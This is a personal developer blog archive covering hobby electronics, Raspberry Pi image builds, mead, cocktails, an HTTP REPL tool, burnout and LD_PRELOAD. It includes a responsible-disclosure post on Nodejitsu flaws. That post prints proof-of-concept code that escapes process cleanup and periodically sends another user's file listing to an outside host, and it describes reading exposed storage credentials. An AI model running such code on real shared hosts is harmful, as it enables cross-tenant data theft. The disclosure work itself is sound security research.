blog.mmalecki.com

Electronics lab on the move

Sun, 16 Feb 2025 00:00:00 -0600

Electronics may seem like complicated hobby or business to maintain while traveling. Power supplies, multimeters, soldering irons - sure sounds like a lot to carry! And it certainly was, back when you couldn’t fit a full-fledged CPU in a space not much larger than an eye of a needle.

Let me present my traveling electronics (with a dash of drone) workshop which served my needs down to 0402 and 0.5 mm pitch one-sided SMD assembly for close to six months, while fitting into a minor part of a checked in airline bag.

Note: this post contains some product links. They are not sponsored, just added as a matter of completeness.

Soldering iron

Pinecil v2 has served my needs well, both during travel and while at home.

I carry the standard tip, as well as 3 additional ones:

fine chisel tip (TS-BC2) - for connectors and certain SMD packages
fine sharp tip (TS-ILS) - for precision, low clearance soldering
knife tip (TS-KU) - perfect for desoldering and soldering large items

It travelled in a rugged case containing all the necessary accessories, including a reel of solder, stand and a brass brush.

A vise is a necessity, and a Stickvise was my choice. Carry printed/bought vise jaws for replacement if you’re going for long!

Reflow hot plate

Another activity not commonly associated with having a small desk footprint is reflow soldering - a process where solder paste is applied to a printed circuit board through a stencil, components are placed, and the entire assembly is heated up in order to transform the paste into solder.

That’s actually valid for the most part - there are major disadvantages to using a hot plate for reflow, the main one being lack of ability to do double-sided assembly using a single tool.

This has not turned out to be an issue for me, however, as I’d assembled mostly prototyping boards, and didn’t mind the occasional hand soldering session.

I used a Miniware MHP30, offering a 30 x 30 mm working field. The small size worked out for me, as I was working on drone components, which conserve space out of necessity.

In its natural environment:

I also printed out these Stickvise jaws for MHP-30.

Power supply

When diving into the world of drones, I was pleasantly surprised to learn that almost every battery charger comes with a variable voltage power supply with current limitation features, and high current supply abilities to boot.

I picked iCharger S6 for this purpose. I don’t regret that choice, but today I would go out of my way to make or buy something USB C-powered, such as ARK Electronics’ LiPow.

Supplying power to the charger proved to be a problem - it accepts DC input voltage of 9 - 32 V, so a USB C decoy cable providing XT60 output at 20 V - a ToolkitRC SC100 - seemed like a logical pick. That was, sadly, a mistake on my part. While I’m sure the IC that’s embedded in the cable can provide the advertised 5 A of output current, my unit managed to burn out quarter way through the trip, never having lived up to half of its current potential. The cable kept getting hot enough to never leave unattended. Sometimes you just cannot cheat thermal characteristics.

Oddly enough, I wound up coming back with a power supply made by the same manufacturer - the Toolkit RC ADP100, which hasn’t given me the slightest problem ever since.

Test instruments

While I don’t think the Owon HDS200 series of hand-held oscilloscopes has a place on a bench next to Rigol or Tektronix devices, it definitely did well for me in terms of functionality per cubic unit of luggage space. Featuring a multimeter and a waveform generator, it genuinely left nothing to be desired for my basic use-cases.

On the other hand, here’s my nomination for an unlikely candidate for every embedded engineer’s workbench: the Flipper Zero. The built-in converters replaced a bunch of discrete devices I would have to haul around. Thanks to its programmability, it can also act as a screen to any project with a decently capable microcontroller.

Hand tools

Of course, I couldn’t leave my trusty pliers behind. Grabbed some of their friends, too, so they wouldn’t be lonely.

Pliers
Wire stripper
Engineer PAD-11 crimpers (my main use-case was crimping JST-GH, commonly used in drones)
Allen keys
Precision tweezers
Side cutters

Consumables

Cables, connectors I frequently use, and crimps. Add in some Kapton tape, heatshrink and zip-ties and you’ve got yourself a modern-day MacGyver load-out.

I also brought a bag full of bags full of spare just-in-case SMD components, picked from the most used ones in my library. Electronics already seems like a pretty wasteful business with all the shipping and plastic involved, so I’d decided to pack what I needed in terms of components and work within these confines. These actually proved very useful, both for repair and original work.

Drone stuff

Just the drone, some spare standoffs, bolts and propellers, as well as a Steam Deck working double duty as a remote controller and entertainment.

General remarks

As you will notice, USB C was the name of the game for powering many of these devices. The USB PD standard has been a true lifesaver for integrating common power delivery protocol into an effective footprint of a USB C connector (FUSB302, my beloved). There is no excuse not to use it to power your projects, even as a hobbyist.

While I’m sure my bag looked suspicious on the luggage scanners, a fair part of its weight being electronics and related chemicals, to my knowledge it never got opened and made it through multiple airports in Europe and Asia unharmed.

If you’re concerned about humidity wrecking havoc on these delicate devices, don’t be. My laptop came back with more visible wear on it than any of these did.

Throughout my trip, I was able to move two projects from their inception, past the prototype stage. If you’re interested in what I’ve been working on, check out my drone electronics company, Spacedock.io.

pi-gen and Packer - building custom Raspberry Pi OS images from scratch

Wed, 16 Nov 2022 00:00:00 -0600

Over the weekend I decided to take on a project of upgrading my home Raspberry Pi set up. That had to start by ~~writing a blog post about it~~ figuring out how to build OS images for the Pis to run on. So far, I’ve been flashing images built with pi-gen’s custom stages onto SD cards - a perfectly servicable, but toil-heavy solution. However, seeing how I planned to add another Pi, running another stack, into the mix, I needed something more automated and flexible.

Since I needed to figure out some things along the way, I decided to do this quick write-up on the off-chance someone else needs to reproduce this setup.

(tl;dr! Show me the code!)

Requirements: why pi-gen?

When revisiting a project like this, it’s often worth reconsidering the technology choices made along the way. After all, in the space of a year entire start-ups could’ve been built, funded, and bankrupted around the very same thing I was trying to solve.

I wanted to build relatively thin (primarily running Docker containers as service hosts), but not prohibitively thin (so that I could still easily use one as a base for setting up a dev box) OS images that I could write to a SD card.

Both the lite version of Raspberry Pi OS and the ARM version of the Ubuntu Server image ship with a couple of packages I didn’t foresee myself needing, so these were out of the question. The other side of the spectrum - anything geared towards being a pure container hosting solution, or a IoT distribution - would be missing some tools I find handy. That pretty much ruled out any ready-made image I could find.

Building any other distribution from scratch would require that I get the hardware support for Raspberry Pi in place myself.

pi-gen it was, then.

Requirements: why Packer?

Packer is the industry standard for producing OS images, and I work with it almost daily. Additionally, the Packer ARM image plugin seems to be the preferred choice for folks building on top of the available Raspberry Pi OS image. Therefore, it was an easy pick.

Setting up pi-gen

Since I wanted to give the 64-bit build a try (I paid for 64 bits, and I’m gonna use all of them, damn it!), I started off from the arm64 branch of pi-gen:

git clone https://github.com/rpi-distro/pi-gen
cd pi-gen
git checkout arm64

Firstly, I wanted to set up pi-gen to generate the image in a fashion the Packer ARM image plugin could consume with minimal overhead. That made a fine start to my pi-gen config - the file that configures the Raspberry Pi OS build.

DEPLOY_COMPRESSION=none # disable output compression for the Packer ARM image plugin

Next, I needed to get my own stage2 going. stage2 of the pi-gen process is where the Raspberry Pi OS Lite image is produced. According to the documentation, it’s also where you’d start trimming if looking to build a more minimalistic Lite-like image. And so trim I did:

cp -R stage2 stage2-base
vim stage2-base/01-sys-tweaks/00-packages # removed unneeded packages
vim stage2-base/EXPORT_IMAGE              # removed the unwanted `-lite` image name suffix

I then instructed pi-gen to the new list of stages to build in config, and to name the output aptly:

STAGE_LIST="stage0 stage1 stage2-base"
IMG_NAME=base

The last thing config needed was server-leaning configuration, and some personal touch (with secrets left out):

RELEASE=bullseye

DISABLE_FIRST_BOOT_USER_RENAME=1
FIRST_USER_NAME='...'
FIRST_USER_PASS='...'

WPA_ESSID='...'
WPA_PASSWORD='...'
WPA_COUNTRY=PL # a valid country code is now required by pi-gen

PUBKEY_SSH_FIRST_USER="$(curl https://github.com/pinky.keys && curl https://github.com/thebrain.keys)"
ENABLE_SSH=1
PUBKEY_ONLY_SSH=1

KEYBOARD_KEYMAP=...
KEYBOARD_LAYOUT=...
LOCALE_DEFAULT=en_US.UTF-8

TIMEZONE_DEFAULT=UTC

I was now able to run sudo ./build.sh and have a shiny Raspberry Pi OS image dropped in the deploy directory.

Setting up Packer

The next step was to set up my build pipelines in Packer. I decided to start with a fairly straightforward use-case: OctoPrint running in a Docker container, for my Prusa i3.

I set up my sources.pkg.hcl to accept paths and SHA sums from outside, leaving it to the impending build process to feed them into Packer:

source "arm-image" "prusa_i3" {
  iso_url           = var.source_iso_url
  iso_checksum      = var.source_iso_checksum
  image_type        = "raspberrypi"
  output_filename   = "${var.output_directory}/prusa_i3.img"
  target_image_size = var.target_image_size
  qemu_binary       = "qemu-aarch64-static"
}

And finally, I could get into provisioning the machine with shell scripts in build.pkr.hcl:

build {
  sources = ["source.arm-image.prusa_i3"]

  name = "common"

  provisioner "shell" {
    script = "scripts/common.sh"
  }

  provisioner "shell" {
    script = "scripts/install-docker.sh"
    environment_vars = [
      "OPERATOR_USER=${var.operator_user_name}"
    ]
  }

  # ...
}

Tying it all together

The last thing I needed was a build process. I decided to write a quick and dirty Makefile that used config as source of information:

IMG_DATE = $(shell date +%Y-%m-%d)
IMG_NAME = $(shell bash -c 'source ./config; echo $$IMG_NAME')

# pi-gen outputs builds in `deploy` directory by default. We don't enforce
# this out of convenience, since it seems pretty unlikely to ever change.
PI_GEN_DEPLOY_DIR = deploy
BASE_IMG_FILENAME = $(PI_GEN_DEPLOY_DIR)/$(IMG_DATE)-$(IMG_NAME).img

FIRST_USER_NAME = $(shell bash -c 'source ./config; echo $$FIRST_USER_NAME')

PACKER_CONFIG_HOME = ${HOME}
PACKER_DIR = packer

# set PACKER, TEE, CUT, etc.

$(BASE_IMG_FILENAME):
	$(SUDO) -E ./build.sh

%.sha256: %
	$(SHA256) $< | $(SUDO_TEE) $@

images: $(BASE_IMG_FILENAME) $(BASE_IMG_FILENAME).sha256
	cd packer && \
		PACKER_CONFIG_DIR=$(PACKER_CONFIG_HOME) $(SUDO) -E \
		$(PACKER) build \
		-var source_iso_url=../$(BASE_IMG_FILENAME) \
		-var source_iso_checksum=$$($(CUT) -d' ' -f1 < ../$(BASE_IMG_FILENAME).sha256) \
		-var output_directory=../$(PI_GEN_DEPLOY_DIR) \
		-var operator_user_name=$(FIRST_USER_NAME) \
		.

clean:
	rm -rf $(PI_GEN_DEPLOY_DIR)/*.img

all: images

Running make images first builds the base image, then its checksum file, and finally runs Packer, feeding it relevant paths and information from the config file.

Afterwards, the images produced by Packer can be flashed to a SD card as usual:

sudo dd if=deploy/prusa_i3.img of=/dev/sda bs=4MB

Summary

Building Raspberry Pi OS images this way has been a huge win for me. It allowed for quick iteration in a familiar environment, while opening doors for growth if needed - this set up is not far off from using Ansible as the provisioning tool.

If you would like to check the set-up out in its entirety, it’s available in this GitHub repository. At present, it builds two images: the OctoPrint one, used as an example throughout this post, and a more complex Home Assistant. More will come as I build out the infrastructure.

Mead, part one

Sun, 06 Dec 2020 00:00:00 -0600

This year, like almost every other, by the end of summer I found myself in possession of enormous amounts of various kinds of home-made honey of ridiculous quality. Previously I’ve been using the spoils for cooking and bartending, but this year I’ve decided to go all out and make my first mead out of it.

This is the first part of my sugar’s journey into becoming booze. My name is Maciej, and I’m here tell its (ridiculously unkempt and hastily written down) story.

Goals

I wanted my first mead to be to, well, the Bee’s Knees of meads - easy to drink, pleasant, and balanced off the dry side. I did not yet settle on whether I wanted it to be sparkling or not, but that could be decided once I was done with the first fermentation. One thing I was sure of - it was to be a clean expression of the honeys involved, with no added spices or fruits.

Digression

You can always add things, but never take them away. This is the approach I use in everyday cooking, especially with spices and other fragrant tastes.

Research

Before I begun fermenting, I researched.

First thing I realized, and something you need to know about the brewing world, there’s lots of fairly industry-specific wording - jargon, if you will. I came to understand it, because I had to, but I find it wholly unnecessary and I don’t intend to use any of it in this post. Neither will you find more mentions of gallons or pounds. I like actual units of measurement.

Turning of sugar

The first step in the process of turning sugar into alcohol is diluting the sugar to a level digestable by yeast. This is most usually done with water (but also fruit and vegetable juices, teas, etc. if you want to get fancy), and results in what looks and tastes like a weak syrup.

Yeast is then added, and begins the transformation we’re all after.

The sweeter the syrup, the higher the final alcohol content and past a certain point, sugar level. Although the exact science escapes me, I think it has something to do with yeast’s inability to function in environments over certain alcohol levels, and thus starting to leave some unfermented residual sugars behind, once it enters that stage.

I opted to keep the honey-water ratio low, to enjoy a drier mead. It just gave me more options to work with. In the unlikely scenario where my mead would come out too dry, I opted to add sugar again, after the fermentation reads as complete for the first time. Yeast, unlike chemical agents, can and will reproduce in its medium, thus making such actions not only possible, but common place amongst brewers.

The mead-making community has developed a mead calculator which I found incredibly useful for determining the exact numbers here. A lot of the brewing math is based around the concept of specific gravity, which is a liquid density measurement. When added to water, sugar increases the density of the resulting solution. Again, I won’t pretend to know the chemistry and math behind it. According to various resources I pieced together, dry meads usually start out about ~1.07 - 1.11 SG and come out at ~10 - 15 % ABV and near 1.0 SG (meaning the yeast ate all of the present sugar).

And so, the initial ratio I picked was 5 liters of honey and 16 liters of water. According to the calculator, this would result in starting gravity of 1.103 SG, and ferment to 13.54 % ABV.

Yeast

Sadly, the Polish market is not ripe with internationally relatable yeasts, and, frankly, I did not care about the strain of microorganisms involved, as long as they could process sugars into ethanol under a reasonable temperature range. I’ve acquired a well-reviewed mead yeast called “Enovini”. Poland has a long tradition of making mead, so I could be reasonably sure of its ability to do its job.

The making of

Sanitation

And so much of it.

I’ve sanitized all (down to the ladle I’ve used) of the equipment with potassium metabisulfite, or, if you want to flex your tongue, pirosiarczan potasu.

Brewing

Here’s where things get a little anti-climactic. This step was extremely uneventful.

I combined:

1.6 l rapeseed honey
1.6 l acacia honey
0.8 l lime-tree honey
1 l rapeseed-multiflower honey

and water, and brought it up to a temperature where I could mix the two. Then I’ve poured the mixture into the fermentation vessel, and let it cool outside.

I’ve then measured the aforementioned specific gravity with a hydrometer. It came right about 1.11 SG, meaning the potential alcohol content of the final product would come in at around 14.37 %, which was right in my desired range.

This also nearly matched the calculations I’ve made earlier using the aforementioned mead calculator, and so I added the yeast, installed an airlock filled with cheap vodka and fucked off for the night.

Digression

I’ve later realised I’ve stripped my honey of parts of its flavor by bringing the temperature up so much. For my next mead, I intend to do no heating of honey at all. While this means more natural yeasts will be present, that’s not exactly a problem for me. Firstly, they can participate, if they desire, secondly, spontaneous fermentation wines would like to have a word.

I’m lucky enough to have an alternative on hand for the actual mixing - a high-powered blender. It accomplishes two concerns at once - mixing and aerating (apparently required for yeast reproduction; again, the actual science escapes me here).

Fermentation

The next morning I freaked out a little. The airlock activity was non-existant. Sure, it seemed like CO₂ appeared to put some pressure on the water, there was no vigorous bubbling. I took to seek advice of more experienced brewers. They were firmly of the opinion that I should wait until (at least) the 3rd day of fermentation before messing with the brew.

And so I did, and freaked out even more, because from the outside it’d seemed like nothing was reproducing inside my lily white bucket. I then began googling, and lo and behold, it turned out buckets leaking CO₂ without going through the airlock was fairly common. While I heavily dislike leaks of any kind, this was fine in theory, as the CO₂ still formed a protective layer on top of the beverage.

And so, since the airlock wasn’t telling me a thing, it was time to begin monitoring the actual fermentation progress using the same tool I’ve used to take the initial sugar content measurement - the hydrometer.

Monitoring

Imagine my surprise when the yeast was not only happily farting out alcohol, it was doing so at a speed I did not expect. Within 5 days since the fermentation begun, specific gravity was down to 1.07, meaning the sugar was ~35 % eaten.

Now, nearly 3 weeks after the start date, the fermentation is nearly complete with 1.005 SG.

Of course, I couldn’t help but take a sip every time I took these measurements. The brew was getting better, less sweet and more alcoholic with every try, but I could tell it had a long journey ahead of it.

Conclusion

All that’s left here is to wait until the yeast finishes eating. The next part of this mead’s adventure will be transferring the mead to an aging vessel it in order to age it.

How long until that happens? It’s gonna be soon, but I really have no clue. I’ll be sure to post about it, tho.

Lazy citrus cordial

Sun, 19 Apr 2020 00:00:00 -0500

This is a lazy variation of the Trash Tiki’s citrus stock. It doesn’t need any cooking, and produces a bitter-ish and sour syrup that will feel at home in any citrus-forward cocktail (pisco sour being amongst my favorites).

You can make it with any juiced citrus husks you have on hand, and the final flavor profile will depend on the fruit used. If you have access to bergamot oranges, they produce an amazingly florar result. Mandarins will yield something sweeter, while grapefruits will shift the balance towards bitterness. Lemon and limes will contribute the good old citrus sourness. Pick your poison!

Recipe

1000 g juiced citrus husks
250 g fine sugar
1 g salt

Vacuum pack the ingredients (alternatively, combine in a container, shake and squeeze every few hours). Let steep for 6 to 72 hours, depending on how bitter you would like the product to be. Strain out and squeeze the solids. Filter through a coffee filter if desired.

Infinity lemonade

One of my favorite uses for this cordial is lemonade. I call it “infinity lemonade”, because the husks of the citrus used to make it usually produce enough cordial to sweeten the next batch. Neat, huh?

400 g water
400 g strained citrus juice (pick your favorite, the choice will determine flavor profile)
200 g lazy citrus cordial
1 g salt

Combine ingredients in a siphon. Charge with a CO2 canister. Cool to fridge temperature.

Gin and lazy juice

This lemonade can be a perfect mixer.

Citrus-forward gin, as desired (I usually go for 60 ml)
Infinity lemonade, as desired (I usually go as far as an old fashioned glass will let me)

Pour the gin into a glass filled with ice. Top up with the lemonade. Bonus points if you do it while wearing sweatpants.

http-console2 0.9 - a friendly REPL-based HTTP API explorer

Tue, 21 Jan 2020 00:00:00 -0600

During the past few months I’ve been working on some projects that use OpenAPI to describe their HTTP interfaces. As such, I had the chance to play with the Swagger UI a lot. While I found it to be an amazing tool to experiment around with an API, one thing bugged me - I spend lots of my time in terminal, and Swagger UI is a browser app.

After some time of trying to find an existing tool, my mind turned to http-console2 - my fork of Alexis Sellier’s http-console. While it desperately needed a refactor, its interface seemed to be a prime candidate for extension with features that turn it into a full-fledged API explorer.

So, a couple of days later:

I am very pleased to announce a brand new http-console2, now supporting:

Feature highlights

These are the features I’m most excited about.

Multiline JSON bodies

Editing single line JSON can get very tiring, very fast. Hence, this:

OpenAPI-based autocompletion

If the API you’re chatting with supports OpenAPI, http-console2 can now discover its specification and autocomplete based on it.

To enable OpenAPI support, launch http-console2 with the --openapi switch (and --json, when appropriate). For example, while interacting with Kubernetes API:

Per-origin command and request body histories

http-console2 now supports origin-specific command and body history. This means that if you press arrow-up when talking to http://127.0.0.1:1337, you won’t receive history suggestions from your session with http://127.0.0.1:7331.

You can, however, configure http-console2 to share histories you would like to share. This is especially helpful when you regularly connect to different servers that speak the same protocol, for example your local development server, and a remote development server:

$ http-console2 --history rabbits-dev 127.0.0.1:8000
...
$ http-console2 --history rabbits-dev https://api.dev.rabbitshq.com
# http-console2 will propose commands from your session with 127.0.0.1:8000 here.
...

Contexts

This is probably my second favorite feature in this release, right after the OpenAPI-based autocompletion, simply due to how often I need to talk to several versions of the same service, running in different environments.

Contexts are a way for http-console2 to deduce some common settings based on the URL you’re talking to. To reuse the local and remote development server example, you can place the following in ~/.http-console2/contexts.json in order to implicitly configure http-console2 with --openapi --json --history rabbits when you run http-console http://127.0.0.1:8000 or http-console https://api.dev.rabbitshq.com.

{
  "rabbits": {
    "urls": ["http://127.0.0.1:8000", "https://api.dev.rabbitshq.com"],
    "openapi": true,
    "json": true,
    "history": "rabbits-dev"
  }
}

Installing

Sounds interesting?

Give it a whirl!

npm install -g http-console2
http-console <url>

The refactor

This is a deeper dive into the refactor and some of the technical decisions made along the way. Feel free to jump straight to conclusions.

Work organization

I’ve started this refactor knowing clearly what I wanted to achieve:

basic UX same as http-console
but with more “API explorer” flavor
and OpenAPI support

Based on those I made a plan - funemployment rendered me with lots of time on my hands, and I was going to do my best to not let feature-creep creep me out of this refactor.

Looking back, I’m very happy with the scope I’ve set, and with the outcome that realizing this scope had brought.

Refresh

The first step was to refresh the ~9 year old codebase (I haven’t been the best maintainer).

I’ve been on a binge of trying out different new node.js HTTP clients, and I decided to use got for this project (instead of the core http module, as the original http-console does). That turned out to be a huge time saver, and I came to enjoy its API very much.

I also migrated from using the readline module to the repl module. It felt more appropriate, and gave us a couple of features for free (like REPL commands, or easy acceptance of multiline JSON bodies).

Autocompletion

I wanted to accomplish both URL and request body autocompletion, based on both history and OpenAPI spec, if available.

Setting up the barebones turned out to be easy, thanks to the the repl.start’s completer parameter. Providing request body completion proved to be more tricky. It involved setting up stream-json so that it extracts the current JSON path user is typing at the time of end of input, and flattening OpenAPI schemas into something less complex, and easy to pick at from the completer’s perspective.

Overall, this was the most challanging, but also the most fun part of this project.

An interesting fact I learned along the way was that Kubernetes’ API specification has cycles in it.

Conclusions

I am very happy with the 0.9 release. It satisfies all the requirements I had for it, and is already proving to be very useful. Additionally, I had a lot of fun writing it, as I enjoy writing developer tools.

Plans for the next version

My plans for the next release are to make this a, well, more effective REPL. I’d like to be able to run crude operations on the data returned - pick at them (preferably with JSONPath/jq/etc. style path expressions), feed them to next operations, write them to files, etc.

I also intend to make the OpenAPI completion smarter, give it an understanding of arrays and a way to preview the schema - perhaps by double-pressing Tab when having a fully completed URL.

Thank you for reading, and stay tuned for updated!

Homemade coffee liqueur

Mon, 20 Jan 2020 00:00:00 -0600

The idea for a homemade coffee liqueur has been in the back of my mind for a while now. In addition to having the opportunity to tweak it as I desire, some time ago I’ve acquired some rum barrel-aged coffee used by the folks at Brisman to compete in last year’s World Coffee in Good Spirits Championship, and I really wanted give it a try out in a cocktail setting.

I perused many recipes, and close to all of them are a combination of the following steps:

make syrup, most commonly water - turbinado sugar
infuse base alcohol with coffee - either using instant coffee or a cold-brew method
dilute with cold-brew coffee

Sometimes, convention is good. I’ve decided to follow the same framework, while adding flavor where I can, and picking out my own ratios.

Recipe

All of the recipes make more than is needed for 700 ml of this liqueur. The reward for giving in to their demands is a cache of delicious cocktail ingredients in the fridge.

Cold brew coffee

100 g coffee (I’ve used rum barrel-aged Guatemalan)
500 g water

Brew cold brew coffee using 1:5 ratio, steeping for 12 hours in the fridge. Strain through coffee filter.

Coffee syrup

32 g coffee
512 g water
Muscovado sugar, as many grams as brewed coffee

Grind coffee for filter brew, and brew using 1:32 ratio (or however you brew your morning coffee, that’s strictly up to you).

Weight out the brewed coffee, add as much turbinado sugar by weight. Stir to combine, boiling if needed.

This is a notable deviation from the common framework - most recipes use water as base syrup liquid. Here, we use coffee to build up the coffee flavor. Plus, the method kind of reminds me of Japanese iced coffee.

Coffee rum

700 ml rum (I’ve used Bacardi Carta Negra)
35 g coffee

Grind coffee as for cold brew. Steep in rum using 1:20 ratio for 12 hours in the fridge. Strain through coffee filter.

Coffee liqueur

337 ml cold brew coffee
400 ml coffee syrup
286 ml coffee rum
pinch salt

Combine all the ingredients. Stir to combine. That’s your coffee liqueur. Store in a fridge.

Methodology

The explanation for those odd ratios is twofold:

Alcohol content

I wanted my liqueur to have enough of an alcohol content to prevent spoilage in the fridge. I’ve settled for around 10 % - an admittedly random number that I feel comfortable with.

Sugar content

I wanted the liqueur to be 1/2 - 2/3 as sweet as Kahlua. So, I brought out my refractometer and tested its sugar content. I soon discovered that straight Kahlua is too sweet for it to measure, so I diluted it with equal parts water. The solution came in at around 17.5 Brix, so Kahlua as-is will clock in around 35 Brix.

For reference, 1:1 sugar syrup has 50 degrees Brix.

After some boring math around that, my yields, and the alcohol content, I came up with the forementioned ratio.

It seemed to have worked, at least sugar-wise:

Conclusions

I’m very happy with the end result. I’ll continue tweaking the ratios, but I feel like this is close to done.

Nodejitsu security vulnerabilities

Tue, 08 Apr 2014 00:00:00 -0500

Recently, I was looking at some of Nodejitsu code, namely solenoid and forza since I was planning to use forza in my pet project. My attention was drawn to a particular piece of code which had to deal with user permissions. Soon I realized that I should be able to leave my process running on the VM even after my application was stopped and execute my child processes with the same rights as all of the instrumentation. While investigating this particular bug, I noticed that some of their sensitive configuration files were readable to world.

Disclosure: I contributed significant amounts of code to projects mentioned here. For details on this, read Infrastructure at Nodejitsu.

Leaving a process running

The possibility of leaving a process running on a VM was caused by the fact that solenoid only killed the process it spawned, which was fine as long as user only spawned processes which remained attached to their parents.

However, thanks to detach option of child_process.spawn, I was able to spawn a process which called setsid and became a session leader. Killing parent of such a process doesn’t affect it in any way. The code I used was:

var http = require('http');
var spawn = require('child_process').spawn;

http.createServer(function (req, res) {
  res.end('This is not the application you are looking for.\n');
}).listen(8000);

spawn('node', ['child.js'], { detach: true });

Now, I had child.js running, and Nodejitsu stack wasn’t able to kill it. Yay! Unfortunately, Nodejitsu architecture reuses slave servers. Thus, after some time my process was running alongside a different user’s application. Moving on…

All instrumentation and user processes running with the same permissions

solenoid spawned all the processes under the same user account. This, and the possibility of leaving a process running under those permissions rendered me able to affect their instrumentation and user processes and access code and environment variables of the next application deployed to this server.

The code I used to verify this was as follows (that’s the child.js which was spawned by app.js):

var fs = require('fs');
var http = require('http');

setInterval(function () {
  fs.readdir('/opt/run/snapshot/package', function (err, files) {
    var req = http.request({
      host: 'mmalecki.com',
      port: 1337,
      method: 'POST'
    });

    req.on('error', function (err) {
      process.exit();
    });

    req.write(JSON.stringify({
      pid: process.pid,
      dir: (err && err.message) || files
    }));

    req.end();
  });
}, 10000);

I started my exploit on enough hosts (with a simple jitsu apps start && jitsu apps stop loop) and soon I was able to confirm that it indeed worked.

Sensitive configuration files readable to world

Doing the course of my investigation, I noticed that their /root directory and files in it were readable to world. I took a peek and found .solenoidconf. Amongst some boring stuff like paths and node versions it also contained Nodejitsu’s CloudFiles credentials. Nodejitsu use CloudFiles to store built application snapshots (so all of their users’ code).

Possible impact of these vulnerabilities

Impact of these issues is quite significant. If I were a malicious attacker, I would be able to:

fetch, delete and change all of the snapshots
fetch and manipulate the code, kill user and instrumentation processes on all the hosts I was able to leave my exploit running on

Timeline and Nodejitsu response

Initial response of the Nodejitsu team was almost instantenous. Right after reporting the vulnerability I was on a call with Jarrett, one of their DevOps engineers.

(All times are UTC.)

March 10th, 04:39: request for a GPG key sent
March 10th, 04:51: GPG key is received and encrypted report is sent
March 13th, 03:02: a fix is committed
March 13th: the aforementioned fix is deployed together with a fix for /root permissions

Acknowledgements

Thanks to Charlie McConnell for great advice during the process and Ariën Holthuizen for reviewing this post.

Shameless self-plug

If you’re interested in a professional security audit for your application, I work at YLD, an amazing consulting company. Don’t hesitate to contact us!

Burnout

Sun, 15 Dec 2013 00:00:00 -0600

Wikipedia defines burnout:

Burnout is a psychological term that refers to long-term exhaustion and diminished interest in work.

It is also defined by ICD-10 (a medical classification list created by the World Health Organization) as “state of vital exhaustion”.

How it all started

For quite some time, when I started my career, I couldn’t understand what this ‘burnout’ my colleagues sometimes mentioned was. I had no problems with working for 3 days in a row with little to no sleep to reach a deadline.

Engagement is characterized by energy, involvement and efficacy, the opposites of exhaustion, cynicism and inefficacy.

I was engaged. Ready to be woken up at any time to handle an emergency, ready to stay up to finish some code.

Only recently, I realized how hard I was driving myself into a wall.

The crash wasn’t very painful at first. I noticed that I hated working on particular pieces of code. Funnily enough, it made me work harder not to let my productivity drop. As you could’ve guessed, it made things even worse, especially with deadlines approaching and outages still happening in the meantime.

That’s when I realized that I was losing contact with the outside world. I let my work define me. It got to the point where I was avoiding dealing with real life stuff because I simply couldn’t handle it. I lost contact with most of my high school friends. I didn’t go out or travel as much as I did before. My overall psychological state wasn’t too good either.

All of it coincided with a huge refactor we were doing at Nodejitsu. It involved couple of big changes in our infrastructure which weren’t possible to roll out incrementally. I was tired of not delivering for extended periods of time. I could see my software working locally and on staging, but I knew it’s going to be a while before our customers could use it.

I made a decision that it was time to let go.

So I quit.

I didn’t do anything for a week. Then I started slowly getting back into open source - submitting patches and starting my own projects. I spent maybe 2 hours a day in front of my computer but I already started noticing that I was being more and more enthusiastic about programming. I dedicated rest of my time to hanging out with my friends and going out.

I was slowly becoming happy again.

Lessons learned

I’m really grateful I went through this experience and that it happened at my first job.

Through all of that, I learned few lessons:

Don’t let your work define you

Work should be an addition to your life. No matter what the deadlines are, working over 8 hours a day should rarely ever happen.

Maintaining a healthy work - life balance is really important.

Constantly deliver

Culture of delivering is important. Having to wait 2 months before you’re able to roll changes out to your customers is extremely demotivating.

Take vacation

And avoid working for companies without clearly defined vacation policy. Mandatory vacation policy - when employees have to take some time off during the year - is even better.

Learn to say ‘no’

If taking on one more project is too much for you, just say ‘no’.

Delayed gratification is bullshit

People need to be gratified properly to work. Gym membership or beer keg at the office don’t really cut it. While they’re great benefits to have, hard cash is infinitely better. If your company doesn’t have the culture of giving bonuses to people after certain milestones, it might end up demotivating you.

Burnout is serious

I feel like our community doesn’t pay enough attention to this matter. Burnout is actually very serious and the correct reaction isn’t always ‘just take a month of vacation’.

Quit your job

If nothing else helps and you realize that you’re not passionate about stuff you’re doing anymore, quit your job. Being burned out is worse than not having a job.

What now?

Using LD_PRELOAD

Wed, 17 Jul 2013 00:00:00 -0500

Recently I had a chance to play with LD_PRELOAD for a bit, due to our recent Huge Refactor (tm) at Nodejitsu. LD_PRELOAD environment variable is a way of loading a library before any other libraries are loaded.

For example, let’s write this short program in C:

#include <stdio.h>

int main(int argc, char** argv) {
  puts("Hello, world!");
  return 0;
}

Its output is obvious:

$ gcc puts.c -o puts
$ ./puts
Hello, world!

Now, as I mentioned before, with LD_PRELOAD we can force our library to be loaded before other libraries. This also affects libc. That means that we can override the puts() function

Let’s compile this little library and try to override puts from libc:

#include <dlfcn.h>
#include <stdlib.h>

int puts(const char* s) {
  int (*original_puts) (const char*) = dlsym(RTLD_NEXT, "puts");
  return original_puts("Hello, puts!");
}

Thanks to dlsym(RTLD_NEXT, "puts"), we’re able to extract the original puts function and call it with different arguments. RTLD_NEXT is a pseudo-handle which makes linker search for occurences of symbol in libraries loaded after current library.

First problem we’re going to run into is the difference between how Mac OS X and other UNIX operating systems work.

To compile this library on Mac OS X execute:

gcc -dynamiclib -o puts-override.dylib puts-override.c

To compile it on other operating systems, use:

gcc -D_GNU_SOURCE -fPIC -shared -o puts-override.so -ldl puts-override.c

Now that we compiled the library, let’s try overriding our puts call.

On Mac OS X:

$ export DYLD_FORCE_FLAT_NAMESPACE=1
$ export DYLD_INSERT_LIBRARIES=./puts-override.dylib
$ ./puts

On other operating systems:

$ export LD_PRELOAD=./puts-override.so
$ ./puts
Hello, puts!

Now, the difference between compilation and usage come from the fact that Mac OS X uses a different linker than other systems. You can read more about OS X’s linker on its manual page.

That’s it for this blog post. If you have problems getting those instructions to work, shoot me a line!

Hello, world!

Wed, 17 Jul 2013 00:00:00 -0500

This is your typical “Hello, world!” blog posts.

`whoami`

I am a node.js and C developer, a DevOps engineer by trade. I write code, I talk to servers. I work at Nodejitsu.

I’m going to blog about things I love working on: architecture, code, JavaScript and C. Maybe more. Most likely more.

What is this blog?

It’s a Jekyll-based blog, hosted with nginx and Joyent.

It uses this very simple plugin I put together for excerpts:

module Jekyll
  module More
    TAG = "<!-- more -->"

    def more(input, url)
      if input.include? TAG
        input.split(TAG).first + "<p class='more'><a href='#{url}'>Read more...</a></p>"
      else
        input
      end
    end
  end
end

Liquid::Template.register_filter(Jekyll::More)

